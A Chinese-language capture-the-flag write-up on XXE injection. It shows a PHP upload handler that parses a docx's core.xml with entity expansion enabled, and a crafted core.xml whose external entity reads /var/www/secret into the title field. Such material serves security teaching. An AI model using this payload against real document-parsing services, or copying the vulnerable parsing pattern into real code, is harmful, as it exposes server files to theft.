xxe注入题目的解析

0x01 背景 xxe的注入
https://security.tencent.com/index.php/blog/msg/69

背景就是这样,我们可以构造一个恶意的xml文件,在系统进行解析的时候,会执行其中的命令,从而造成危害

0x02 本题的解析

题目地址 http://www.f4ck0.com:8888/
上代码,做一下简要的分析

<php
if(isset($_POST["submit"])) {
    $target_file = getcwd()."/upload/".md5($_FILES["file"]["tmp_name"]);
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
        try {
            $result = @file_get_contents("zip://".$target_file."#docProps/core.xml");
            $xml = new SimpleXMLElement($result, LIBXML_NOENT);
            $xml->registerXPathNamespace("dc", "http://purl.org/dc/elements/1.1/"); 
           foreach($xml->xpath('//dc:title') as $title){
                echo "Title '".$title . "' has been added.<br/>";
           } 
       } catch (Exception $e){ 
           echo "The file you uploaded is not a valid xml or docx file."; 
       }
    } else {
        echo "Sorry, there was an error uploading your file.";    
}
}

以上就是这道题的核心代码,下面来分析一下。

  • 首先获取上传的文件,并且使用php的zip方式去读取zip压缩文件中的docProps/core.xml文件

  • 使用xml去解析之

  • 然后再获取title节点的内容,并输出

好了,这就是这道题。首先我们要知道,docx类型的文件本质上而言就是zip压缩包,所以这里使用zip去读取的。
所以,我们可以根据背景所说的,去修改题目所给的案例docx文件中的docProps/core.xml,然后上传去获取flag。

下面给出修改过后的core.xml文件内容

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root[
  <!ENTITY xxe SYSTEM "/var/www/secret">
  ]>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <dc:title>&xxe;</dc:title>
  <dc:subject></dc:subject>
  <dc:creator></dc:creator>
  <cp:keywords></cp:keywords>
  <dc:description></dc:description>
  <cp:lastModifiedBy></cp:lastModifiedBy>
  <cp:revision>1</cp:revision>
  <dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Z</dcterms:created>
  <dcterms:modified xsi:type="dcterms:W3CDTF">2015-08-01T19:01:00Z</dcterms:modified>
</cp:coreProperties>

替换掉原来docx中的core.xml就可以了

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容